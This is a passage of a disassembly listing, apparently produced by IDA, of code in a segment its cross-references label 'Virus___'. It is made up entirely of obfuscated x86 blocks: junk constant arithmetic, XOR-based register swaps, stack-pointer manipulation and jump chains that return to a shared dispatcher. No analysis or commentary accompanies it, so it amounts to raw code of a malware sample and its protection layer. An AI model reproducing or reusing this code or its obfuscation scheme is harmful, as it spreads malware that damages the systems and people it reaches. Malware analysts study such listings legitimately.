; ---------------------------------------------------------------------------


loc_563E6A:				; CODE XREF: Virus___:00558705j
		push	esi
		push	503B25A2h
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5628E7
; ---------------------------------------------------------------------------


loc_563E7B:				; CODE XREF: Virus___:00559DC4j
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_563E90:				; CODE XREF: Virus___:0055FFFBj
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_561B52
; ---------------------------------------------------------------------------


loc_563EA3:				; CODE XREF: Virus___:0055F45Fj
		push	esi
		mov	esi, 2CBC137h
		jmp	loc_560000
; ---------------------------------------------------------------------------


loc_563EAE:				; CODE XREF: Virus___:00559085j
		push	small 1F5Fh
		jmp	loc_55D497
; ---------------------------------------------------------------------------


loc_563EB7:				; CODE XREF: Virus___:005524A8j
		mov	edx, ebp
		jmp	loc_5515E9
; ---------------------------------------------------------------------------


loc_563EBE:				; CODE XREF: Virus___:0055138Cj
		add	esi, edi
		add	esi, 25B71EE6h
		jmp	loc_55CE12
; ---------------------------------------------------------------------------


loc_563ECB:				; CODE XREF: Virus___:00552E14j
		not	edi
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	edx
		jmp	loc_56296B
; ---------------------------------------------------------------------------


loc_563EDC:				; CODE XREF: Virus___:00551325j
		push	ecx
		jmp	loc_5604DD
; ---------------------------------------------------------------------------


loc_563EE2:				; CODE XREF: Virus___:00550C2Ej
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 15B63559h
		and	edx, 506F3055h
		shr	edx, 2
		not	edx
		shr	edx, 7
		shr	edx, 4
		jmp	loc_557E47
; ---------------------------------------------------------------------------


loc_563F0A:				; CODE XREF: Virus___:005571E0j
		add	esp, 4
		push	ebp
		mov	ebp, 3C91607Ch
		sub	dword ptr [esp+8], 1257193Fh
		sub	[esp+8], ebp
		add	dword ptr [esp+8], 1257193Fh
		jmp	loc_555BF8
; ---------------------------------------------------------------------------


loc_563F2C:				; CODE XREF: Virus___:0055AA39j
		sub	edi, 0B915D2F5h
		or	ebx, edi
		pop	edi
		not	ebx
		shr	ebx, 8
		shl	ebx, 3
		xor	ebx, 4A440394h
		xor	ebx, 4E8015B0h
		add	edi, ebx
		pop	ebx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_554544
; ---------------------------------------------------------------------------


loc_563F5A:				; CODE XREF: Virus___:00555D58j
		shl	dl, 1
		jmp	loc_55BA0F
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		jmp	loc_559D2B
; ---------------------------------------------------------------------------


loc_563F6D:				; CODE XREF: Virus___:0055686Ej
		mov	esp, [esp]
		mov	[esp], ebp
		jmp	loc_55182F
; ---------------------------------------------------------------------------


loc_563F78:				; CODE XREF: Virus___:0054FBABj
		push	eax
		mov	ah, 79h
		add	bl, ah
		pop	eax
		jmp	loc_5574DF
; ---------------------------------------------------------------------------


loc_563F83:				; CODE XREF: Virus___:005562F0j
		sub	edi, 3B007407h
		pop	ecx
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp+4]
		jmp	loc_554DC7
; ---------------------------------------------------------------------------


loc_563F9C:				; CODE XREF: Virus___:00559127j
		mov	esi, 28435685h
		jmp	loc_55F5DF
; ---------------------------------------------------------------------------


loc_563FA6:				; CODE XREF: Virus___:0055B96Ej
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		jmp	loc_55C51B
; ---------------------------------------------------------------------------


loc_563FB3:				; CODE XREF: Virus___:00562A4Bj
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_551E3E
; ---------------------------------------------------------------------------


loc_563FBE:				; CODE XREF: Virus___:00564812j
		add	esi, 35086351h
		push	esi
		not	dword ptr [esp]
		pop	esi
		inc	esi
		push	4073h
		jmp	loc_55EB60
; ---------------------------------------------------------------------------


loc_563FD4:				; CODE XREF: Virus___:00550A82j
		push	3860676Ah
		pop	ecx
		jmp	loc_55835E
; ---------------------------------------------------------------------------


loc_563FDF:				; CODE XREF: Virus___:00560B56j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebp
		push	eax
		xor	dword ptr [esp], 5DA509CCh
		pop	ebp
		xor	ebp, 5DA509CCh
		push	3D57h
		jmp	loc_561F5B
; ---------------------------------------------------------------------------
		push	small word ptr [edx]
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_56400B:				; CODE XREF: Virus___:00556BD1j
		push	9EAh
		mov	[esp], ebp
		mov	ebp, 730264B5h
		add	ecx, ebp
		pop	ebp
		jmp	loc_55E014
; ---------------------------------------------------------------------------


loc_564020:				; CODE XREF: Virus___:00551D3Aj
		xor	esi, 25515DD6h
		jmp	loc_551335
; ---------------------------------------------------------------------------


loc_56402B:				; CODE XREF: Virus___:0055E574j
		mov	[esp], edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		push	edx
		push	ecx
		jmp	loc_560984
; ---------------------------------------------------------------------------


loc_56403D:				; CODE XREF: Virus___:0055B602j
		mov	edi, 30842F36h
		jmp	loc_5584AC
; ---------------------------------------------------------------------------


loc_564047:				; CODE XREF: Virus___:005635CCj
		shl	edx, 4
		xor	edx, 31C050FAh
		jmp	loc_550069
; ---------------------------------------------------------------------------


loc_564055:				; CODE XREF: Virus___:00562A15j
		mov	[esp], ecx
		push	301E131Eh
		mov	ecx, [esp]
		add	esp, 4
		sub	ecx, 1B3211E8h
		jmp	loc_564CBF
; ---------------------------------------------------------------------------


loc_56406E:				; CODE XREF: Virus___:00555D84j
		sub	bl, 0CDh
		jmp	loc_55F598
; ---------------------------------------------------------------------------


loc_564076:				; CODE XREF: Virus___:005540E5j
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 63FD2841h
		push	ebx
		xor	dword ptr [esp], 3ED63203h
		pop	edx
		jmp	loc_5560F0
; ---------------------------------------------------------------------------


loc_56409C:				; CODE XREF: Virus___:loc_557CE2j
		pop	ebp
		or	edx, 694F4A57h
		push	eax
		mov	eax, 0D817C1DEh
		jmp	loc_56259D
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	dword ptr [esp], cl
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_5640BD:				; CODE XREF: Virus___:005535D2j
		xor	ecx, 391A19EAh
		jmp	loc_55E6C6
; ---------------------------------------------------------------------------


loc_5640C8:				; CODE XREF: Virus___:00553AE1j
		or	eax, 52A656AFh
		neg	eax
		or	eax, 9320D93h
		jmp	loc_555FA3
; ---------------------------------------------------------------------------


loc_5640D9:				; CODE XREF: Virus___:00558165j
		mov	ecx, [esp]
		add	esp, 4
		mov	ecx, [esp]
		jmp	loc_5577FA
; ---------------------------------------------------------------------------


loc_5640EA:				; CODE XREF: Virus___:0054FEEEj
		push	10000h
		push	dword ptr [esp]
		jmp	loc_55BBC3
; ---------------------------------------------------------------------------


loc_5640F7:				; CODE XREF: Virus___:0055B14Bj
		add	esp, 4
		mov	dword ptr [edx+38h], 424A07B4h
		sub	[edx+38h], ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_55C773
; ---------------------------------------------------------------------------


loc_564110:				; CODE XREF: Virus___:0055D109j
		push	edi
		jmp	loc_55CA00
; ---------------------------------------------------------------------------


loc_564116:				; CODE XREF: Virus___:00553877j
		add	eax, ebp
		pop	ebp
		and	[edi+1Ch], eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55132A
; ---------------------------------------------------------------------------


loc_564125:				; CODE XREF: Virus___:00560BE7j
		add	al, 0Fh
		pop	ecx
		add	al, 0E6h
		push	cx
		jmp	loc_55063E
; ---------------------------------------------------------------------------


loc_564131:				; CODE XREF: Virus___:0055CD80j
		mov	[esp], eax
		jmp	loc_550FCD
; ---------------------------------------------------------------------------


loc_564139:				; CODE XREF: Virus___:0055536Ej
		add	esp, 4
		push	ebp
		jmp	loc_55D6C6
; ---------------------------------------------------------------------------


loc_564142:				; CODE XREF: Virus___:00562F73j
		push	edx
		jmp	loc_561BA4
; ---------------------------------------------------------------------------


loc_564148:				; CODE XREF: Virus___:0055265Dj
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	ecx
		push	4015535Eh
		pop	ecx
		shl	ecx, 2
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		add	ecx, 554D7Bh
		mov	esi, ecx
		mov	ecx, [esp]
		jmp	loc_551F0B
; ---------------------------------------------------------------------------


loc_56417C:				; CODE XREF: Virus___:0055D76Fj
		push	ebp
		push	3E143CC6h
		pop	ebp
		shr	ebp, 8
		dec	ebp
		add	ebp, 0AF6CE3h
		add	ebp, 18EA0D2Bh
		push	edx
		mov	edx, 47E88D6h
		xor	ebp, edx
		pop	edx
		jmp	loc_55BFB4
; ---------------------------------------------------------------------------


loc_5641A1:				; CODE XREF: Virus___:00554DE9j
		mov	ebx, 17C33956h
		jmp	loc_54FB90
; ---------------------------------------------------------------------------


loc_5641AB:				; CODE XREF: Virus___:0055E78Fj
		shl	edx, 1
		jmp	loc_55DCA1
; ---------------------------------------------------------------------------


loc_5641B2:				; CODE XREF: Virus___:00558E0Dj
		xor	[esp], edx
		not	edx
		xor	[esp], edx
		xor	edx, [esp]
		xor	[esp], edx
		pop	eax
		not	eax
		jmp	loc_5569BE
; ---------------------------------------------------------------------------


loc_5641C8:				; CODE XREF: Virus___:00558E01j
		sub	[esp], bl
		mov	bl, [esp]
		jmp	loc_5571F4
; ---------------------------------------------------------------------------


loc_5641D3:				; CODE XREF: Virus___:0055B445j
		sub	al, 0B9h
		push	dx
		mov	dh, 2Fh
		add	al, dh
		jmp	loc_561E7C
; ---------------------------------------------------------------------------


loc_5641E0:				; CODE XREF: Virus___:00553AEBj
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 28C97937h
		xor	esi, ebx
		jmp	loc_5558DC
; ---------------------------------------------------------------------------


loc_5641F3:				; CODE XREF: Virus___:00554C74j
		add	esi, eax
		sub	esi, 6C1E6588h
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	edx
		jmp	loc_560C53
; ---------------------------------------------------------------------------


loc_56420A:				; CODE XREF: Virus___:005560CEj
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5576B6
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp], ax
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_564227:				; CODE XREF: Virus___:005571CBj
		and	cl, 0EBh
		sub	cl, 0C0h
		jmp	loc_5579BB
; ---------------------------------------------------------------------------


loc_564232:				; CODE XREF: Virus___:0054F8C2j
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_561FE7
; ---------------------------------------------------------------------------
		push	3867h
		mov	[esp], edx
		jmp	loc_556698
; ---------------------------------------------------------------------------


loc_56424B:				; CODE XREF: Virus___:0055A1E0j
		add	edx, 4
		push	ebp
		jmp	loc_556FDA
; ---------------------------------------------------------------------------


loc_564257:				; CODE XREF: Virus___:00564BD2j
		push	dword ptr [esp]
		pop	ecx
		push	5F2h
		jmp	loc_55310D
; ---------------------------------------------------------------------------


loc_564265:				; CODE XREF: Virus___:005531CBj
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_56426A:				; CODE XREF: Virus___:00560245j
		mov	ecx, esp
		jmp	loc_564817
; ---------------------------------------------------------------------------


loc_564271:				; CODE XREF: Virus___:00559E41j
		push	edx
		mov	dh, 0DBh
		not	dh
		or	dh, 0AFh
		xor	dh, 14h
		sub	al, dh
		pop	edx
		add	al, bl
		jmp	loc_551DBA
; ---------------------------------------------------------------------------


loc_564286:				; CODE XREF: Virus___:0055BB97j
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5611EC
; ---------------------------------------------------------------------------


loc_564290:				; CODE XREF: Virus___:0055B082j
		mov	ecx, ebp
		jmp	loc_562595
; ---------------------------------------------------------------------------


loc_564297:				; CODE XREF: Virus___:0055D0F8j
		mov	ebp, [esp]
		push	esi
		push	2047h
		push	esp
		pop	dword ptr [esp]
		jmp	loc_563CF2
; ---------------------------------------------------------------------------


loc_5642A9:				; CODE XREF: Virus___:00550AA5j
		push	eax
		jmp	loc_55E8A3
; ---------------------------------------------------------------------------


loc_5642AF:				; CODE XREF: Virus___:00553192j
		mov	bh, dl
		jmp	loc_564693
; ---------------------------------------------------------------------------


loc_5642B6:				; CODE XREF: Virus___:00553E09j
		sub	esp, 4
		mov	[esp], edx
		push	eax
		push	43FA4C67h
		mov	eax, [esp]
		add	esp, 4
		shl	eax, 2
		sub	eax, 1
		sub	esp, 4
		mov	[esp], ebp
		push	edi
		mov	edi, 6B117E3Fh
		jmp	loc_5542AF
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_5642EA:				; CODE XREF: Virus___:00554C09j
		xor	esi, 1B1D0664h
		jmp	loc_550B40
; ---------------------------------------------------------------------------


loc_5642F5:				; CODE XREF: Virus___:0056002Dj
		mov	edx, 393E446h
		add	edx, eax
		pop	eax
		sub	eax, edx
		jmp	loc_550E76
; ---------------------------------------------------------------------------


loc_564304:				; CODE XREF: Virus___:0055B873j
		mov	[esp], eax
		jmp	loc_559624
; ---------------------------------------------------------------------------


loc_56430C:				; CODE XREF: Virus___:005530F8j
		add	al, 0FFh
		jmp	loc_5639D0
; ---------------------------------------------------------------------------


loc_564313:				; CODE XREF: Virus___:0055B30Cj
		push	dword ptr [esp]
		jmp	loc_55AB49
; ---------------------------------------------------------------------------


loc_56431B:				; CODE XREF: Virus___:0056181Bj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		xchg	eax, [esp]
		jmp	loc_555CED
; ---------------------------------------------------------------------------


loc_564334:				; CODE XREF: Virus___:0055EDA4j
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		push	esi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 7D3414DAh
		mov	esi, 0CFF05740h
		sub	esi, 1A216D31h
		add	esi, edx
		jmp	loc_5519BA
; ---------------------------------------------------------------------------


loc_564368:				; CODE XREF: Virus___:005507D9j
		or	ebx, 575C73DAh
		push	esi
		jmp	loc_552F3D
; ---------------------------------------------------------------------------


loc_564374:				; CODE XREF: Virus___:0056476Dj
		pop	dword ptr [edi+24h]
		mov	esi, [esp]
		add	esp, 4


loc_564380:				; CODE XREF: Virus___:0055DA72j
		sub	esp, 4
		mov	[esp], edx
		push	ebx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 71A43D5h
		add	dword ptr [esp+4], 517821FEh
		jmp	loc_5575B5
; ---------------------------------------------------------------------------


loc_5643A5:				; CODE XREF: Virus___:00553977j
		pop	edi
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_55E992
; ---------------------------------------------------------------------------


loc_5643BA:				; CODE XREF: Virus___:0055434Fj
		mov	edx, edi
		mov	edi, [esp]
		add	esp, 4
		add	eax, 120177B8h
		add	eax, edx
		sub	eax, 120177B8h
		jmp	loc_56009F
; ---------------------------------------------------------------------------


loc_5643D6:				; CODE XREF: Virus___:0055B9D5j
		push	ax
		mov	ah, 63h
		neg	ah
		or	ah, 0CAh
		push	edx
		mov	dl, 93h
		push	ecx
		mov	cl, 7Dh
		not	cl
		neg	cl
		jmp	loc_55C35B
; ---------------------------------------------------------------------------


loc_5643EE:				; CODE XREF: Virus___:0055BD66j
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_551857
; ---------------------------------------------------------------------------


loc_564402:				; CODE XREF: Virus___:00552A95j
		push	50D3h
		mov	[esp], eax
		jmp	loc_55A20B
; ---------------------------------------------------------------------------


loc_56440F:				; CODE XREF: Virus___:00557ABEj
		sub	ecx, edi
		sub	ecx, 23944BFDh
		mov	edi, [esp]
		push	54ABh
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		rep movsd
		add	esp, [edx+38h]
		push	ebx
		push	73F5h
		mov	[esp], esi
		jmp	loc_555109
; ---------------------------------------------------------------------------


loc_56444B:				; CODE XREF: Virus___:0054F93Bj
		pop	esp
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_56445D:				; CODE XREF: Virus___:0055FC94j
		and	al, 1Fh
		sub	al, 2Dh
		add	al, 67h
		push	ecx
		push	edx
		mov	dh, al
		mov	ch, dh
		pop	edx
		mov	dh, ch
		mov	ecx, [esp]
		jmp	loc_5557C9
; ---------------------------------------------------------------------------


loc_564474:				; CODE XREF: Virus___:0055051Dj
		push	ebx
		jmp	loc_55C779
; ---------------------------------------------------------------------------


loc_56447A:				; CODE XREF: Virus___:00552EC9j
		shl	edi, 3
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_557115
; ---------------------------------------------------------------------------


loc_564491:				; CODE XREF: Virus___:0055F5B8j
		add	[esp+4], ecx
		pop	ecx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	ebx, 4
		push	edx
		mov	edx, 2
		add	ebx, edx
		pop	edx
		jmp	loc_560BFE
; ---------------------------------------------------------------------------


loc_5644B4:				; CODE XREF: Virus___:0055D5CCj
		xor	eax, 323E2A30h
		push	445h
		jmp	loc_563163
; ---------------------------------------------------------------------------


loc_5644C3:				; CODE XREF: Virus___:0055C741j
		add	dword ptr [esp], 4
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		push	28631F0h
		mov	ecx, [esp]
		add	esp, 4
		xchg	edx, ecx
		jmp	loc_55CCE4
; ---------------------------------------------------------------------------


loc_5644E0:				; CODE XREF: Virus___:00555E1Fj
		mov	ecx, 235B6216h
		or	ecx, 71762B31h
		add	ecx, 785823F9h
		neg	ecx
		sub	ecx, 1
		add	ecx, 2C2EB7B1h
		sub	esi, 4FE15848h
		jmp	loc_564BE8
; ---------------------------------------------------------------------------


loc_56450A:				; CODE XREF: Virus___:00550F59j
		sub	[esp], ebx
		add	dword ptr [esp], 24A410Bh
		pop	ebx
		add	ebx, 37F39849h
		xor	[esp+4], ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_562AE9
; ---------------------------------------------------------------------------


loc_56452D:				; CODE XREF: Virus___:00555BC5j
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 61C7333Ah
		jmp	loc_55F89D
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	5351h
		mov	[esp], eax
		jmp	loc_55C73B
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	ebx
		mov	ebx, esp
		push	35F3h
		mov	[esp], eax
		push	edi
		push	1DB7564Bh
		pop	edi
		neg	edi
		jmp	loc_555F1B
; ---------------------------------------------------------------------------


loc_56456C:				; CODE XREF: Virus___:0055DF12j
		mov	[esp], ebp
		push	173123Eh
		pop	ebp
		push	edx
		mov	edx, 4F0267D0h
		sub	ebp, 762D2F77h
		add	ebp, 21BE76D2h
		jmp	loc_55C3A7
; ---------------------------------------------------------------------------


loc_56458C:				; CODE XREF: Virus___:00550147j
		sub	ebp, 31E31784h
		mov	edi, ebp
		pop	ebp
		add	ecx, edi
		pop	edi
		jmp	loc_55DAB0
; ---------------------------------------------------------------------------


loc_56459D:				; CODE XREF: Virus___:00563AF1j
		inc	ebx
		neg	ebx
		not	ebx
		xor	ebx, 0F4417BBh
		add	ebx, 0B4D1058h
		xor	ecx, ebx
		jmp	loc_55CA8F
; ---------------------------------------------------------------------------


loc_5645B5:				; CODE XREF: Virus___:0054F926j
		sub	edx, 0A8C44CF9h
		jmp	loc_562F85
; ---------------------------------------------------------------------------


loc_5645C0:				; CODE XREF: Virus___:0056086Cj
		xor	esi, 0CF46904h
		or	ebx, esi
		pop	esi
		shr	ebx, 5
		inc	ebx
		jmp	loc_55794E
; ---------------------------------------------------------------------------


loc_5645D2:				; CODE XREF: Virus___:005518A8j
		pop	ebx
		jmp	loc_55DE95
; ---------------------------------------------------------------------------


loc_5645D8:				; CODE XREF: Virus___:0055799Bj
		mov	esi, 7F8910BCh
		mov	eax, 69FA5044h
		xor	eax, esi
		jmp	loc_55A24F
; ---------------------------------------------------------------------------


loc_5645E9:				; CODE XREF: Virus___:0055529Fj
		add	esp, 4
		add	bl, 99h
		add	bl, al
		sub	bl, 99h
		jmp	loc_557FBA
; ---------------------------------------------------------------------------


loc_5645F9:				; CODE XREF: Virus___:00556120j
		push	edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_55882E
; ---------------------------------------------------------------------------


loc_564611:				; CODE XREF: Virus___:00562ACEj
		shl	dl, 8
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ch, 0C9h
		and	ch, 95h
		and	ch, 82h
		push	eax
		mov	ah, 6Bh
		xor	ah, 0D2h
		xor	ch, ah
		pop	eax
		sub	esp, 4
		mov	[esp], ebx
		mov	bl, 90h
		not	bl
		xor	bl, 18h
		jmp	loc_55EDE7
; ---------------------------------------------------------------------------


loc_56464A:				; CODE XREF: Virus___:0055DC0Fj
		push	esp
		jmp	loc_5511D8
; ---------------------------------------------------------------------------


loc_564650:				; CODE XREF: Virus___:0055656Bj
		push	ecx
		jmp	loc_553815
; ---------------------------------------------------------------------------


loc_564656:				; CODE XREF: Virus___:00556B8Ej
		push	esi
		mov	esi, 24DF7885h
		mov	edi, 0F35ACD77h
		add	edi, esi
		pop	esi
		push	edi
		mov	edi, 594E107Ch
		push	ebp
		mov	ebp, 1F1477A1h
		add	[esp+0Ch], ebp
		pop	ebp
		sub	[esp+8], edi
		sub	dword ptr [esp+8], 1F1477A1h
		pop	edi
		add	[esp+4], edi
		add	dword ptr [esp+4], 594E107Ch
		jmp	loc_5562E2
; ---------------------------------------------------------------------------


loc_564693:				; CODE XREF: Virus___:005642B1j
		pop	edx
		mov	ah, dh
		mov	dh, bh
		pop	ebx
		jmp	loc_552A91
; ---------------------------------------------------------------------------


loc_56469E:				; CODE XREF: Virus___:0055B1ADj
		push	esi
		push	esp
		pop	esi
		push	ebp
		jmp	loc_564C8D
; ---------------------------------------------------------------------------


loc_5646A7:				; CODE XREF: Virus___:00554C9Aj
		pop	ebp
		jmp	loc_55460B
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_563812
; ---------------------------------------------------------------------------


loc_5646BC:				; CODE XREF: Virus___:005534A4j
		mov	ebp, eax
		pop	eax
		push	esi
		mov	esi, 0E334398h
		jmp	loc_5552B8
; ---------------------------------------------------------------------------


loc_5646CA:				; CODE XREF: Virus___:00563141j
		xor	bh, 0BEh
		add	dl, bh
		pop	ebx
		push	eax
		jmp	loc_55DBCB
; ---------------------------------------------------------------------------


loc_5646D6:				; CODE XREF: Virus___:005515F5j
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55DA5E
; ---------------------------------------------------------------------------


loc_5646E0:				; CODE XREF: Virus___:00555A6Fj
		mov	esp, [esp]
		bts	[esp], ax
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_5646EE:				; CODE XREF: Virus___:0054F8B2j
		mov	[esp], esi
		mov	esi, esp
		push	edx
		jmp	loc_559EAE
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	3A83h
		jmp	loc_55B707
; ---------------------------------------------------------------------------


loc_564707:				; CODE XREF: Virus___:0055B1F0j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	small word ptr [eax]
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_564718:				; CODE XREF: Virus___:005556FBj
		neg	al
		jmp	loc_559CAB
; ---------------------------------------------------------------------------


loc_56471F:				; CODE XREF: Virus___:0055DA0Ej
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		jmp	loc_561EC2
; ---------------------------------------------------------------------------


loc_56472B:				; CODE XREF: Virus___:00550647j
		xor	al, dh
		push	dword ptr [esp]
		pop	edx
		push	eax
		jmp	loc_56136D
; ---------------------------------------------------------------------------


loc_564737:				; CODE XREF: Virus___:00550768j
		xchg	ecx, [esp]
		jmp	loc_559F9C
; ---------------------------------------------------------------------------


loc_56473F:				; CODE XREF: Virus___:0055C5C5j
		push	esp
		jmp	loc_55BE3E
; ---------------------------------------------------------------------------


loc_564745:				; CODE XREF: Virus___:0054FB6Dj
		sub	esp, 4
		jmp	loc_5626A5
; ---------------------------------------------------------------------------


loc_564750:				; CODE XREF: Virus___:0054FEE0j
		mov	[esp], ebp
		mov	ebp, 183A45FCh
		mov	edi, ebp
		jmp	loc_556BD0
; ---------------------------------------------------------------------------


loc_56475F:				; CODE XREF: Virus___:0055A1BCj
		add	esp, 4
		xor	[edi+24h], esi
		inc	esi
		push	dword ptr [edi+24h]
		push	esi
		jmp	loc_564374
; ---------------------------------------------------------------------------


loc_564772:				; CODE XREF: Virus___:00555D47j
		add	esi, ecx
		pop	ecx
		sub	esi, 4
		jmp	loc_555EAB
; ---------------------------------------------------------------------------


loc_564780:				; CODE XREF: Virus___:0055BC8Aj
		add	esi, eax
		sub	esi, 688300BFh
		pop	eax
		push	50E5h
		jmp	loc_55025B
; ---------------------------------------------------------------------------


loc_564793:				; CODE XREF: Virus___:00556B29j
		pop	ebx
		xor	ebx, 6EFA44C5h
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_54FDFB
; ---------------------------------------------------------------------------


loc_5647A5:				; CODE XREF: Virus___:0055CE7Fj
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_551A21
; ---------------------------------------------------------------------------


loc_5647B3:				; CODE XREF: Virus___:00556A5Dj
		add	ebx, eax
		push	edx
		push	ebp
		mov	ebp, 715644B8h
		mov	edx, ebp
		jmp	loc_563075
; ---------------------------------------------------------------------------


loc_5647C3:				; CODE XREF: Virus___:00550F19j
		not	esi
		push	ebp
		mov	ebp, 7DBD2BA9h
		shr	ebp, 5
		sub	ebp, 0BD1C7097h
		xor	esi, ebp
		pop	ebp
		jmp	loc_554732
; ---------------------------------------------------------------------------


loc_5647DC:				; CODE XREF: Virus___:0056184Aj
		pop	dword ptr [esp]
		jmp	loc_5598F4
; ---------------------------------------------------------------------------


loc_5647E4:				; CODE XREF: Virus___:00561E1Bj
		add	ebp, 33914B1Dh
		add	ebp, edi
		jmp	loc_556434
; ---------------------------------------------------------------------------


loc_5647F1:				; CODE XREF: Virus___:00557F66j
		xor	ebp, [esp]
		jmp	loc_5633FD
; ---------------------------------------------------------------------------


loc_5647F9:				; CODE XREF: Virus___:005596F4j
		sub	ebx, 0CF563309h
		add	esi, ebx
		pop	ebx
		jmp	loc_55B1E2
; ---------------------------------------------------------------------------


loc_564807:				; CODE XREF: Virus___:00551872j
		add	esp, 4
		xor	esi, 45D4893h
		not	esi
		jmp	loc_563FBE
; ---------------------------------------------------------------------------


loc_564817:				; CODE XREF: Virus___:0056426Cj
		push	5D41h
		jmp	loc_55C0D5
; ---------------------------------------------------------------------------


loc_564821:				; CODE XREF: Virus___:00553DAAj
		push	eax
		mov	eax, 0FFFFFFFFh
		add	ecx, eax
		pop	eax
		push	7Eh
		mov	[esp], ebp
		mov	ebp, 56DA6EEFh
		xor	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		and	ecx, 1B3A316Ah
		jmp	loc_554F56
; ---------------------------------------------------------------------------


loc_56484A:				; CODE XREF: Virus___:0055948Aj
		push	edx
		push	esi
		push	47392EA4h
		jmp	loc_560557
; ---------------------------------------------------------------------------


loc_564856:				; CODE XREF: Virus___:0055F795j
		add	ebp, 73D06C95h
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 159B6093h
		or	edi, 2A5E2A3Ah
		and	edi, 7ED34A6Eh
		jmp	loc_559404
; ---------------------------------------------------------------------------


loc_56487B:				; CODE XREF: Virus___:0055FAFAj
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		mov	ebp, [esp]
		push	2D29h
		mov	[esp], edi
		mov	edi, esp
		push	ebp
		mov	ebp, 12A10CA1h
		or	ebp, 39EB26FDh
		not	ebp
		dec	ebp
		shl	ebp, 4
		add	ebp, 0BEB2EFF4h
		jmp	loc_557559
; ---------------------------------------------------------------------------


loc_5648B3:				; CODE XREF: Virus___:00561380j
		xor	eax, 1D8B512Dh
		jmp	loc_56371D
; ---------------------------------------------------------------------------


loc_5648BD:				; CODE XREF: Virus___:0055EE39j
		sub	bh, ch
		add	bh, 0D8h
		pop	ecx
		jmp	loc_55BB1C
; ---------------------------------------------------------------------------


loc_5648C8:				; CODE XREF: Virus___:00561EBDj
		add	dword ptr [esp], 2FA90392h
		pop	ebx
		sub	ebx, 2FA90392h
		pop	esi
		xor	[esp+4], ebx
		mov	ebx, [esp]
		jmp	loc_55189C
; ---------------------------------------------------------------------------
		lodsd
		push	ebx
		push	esi
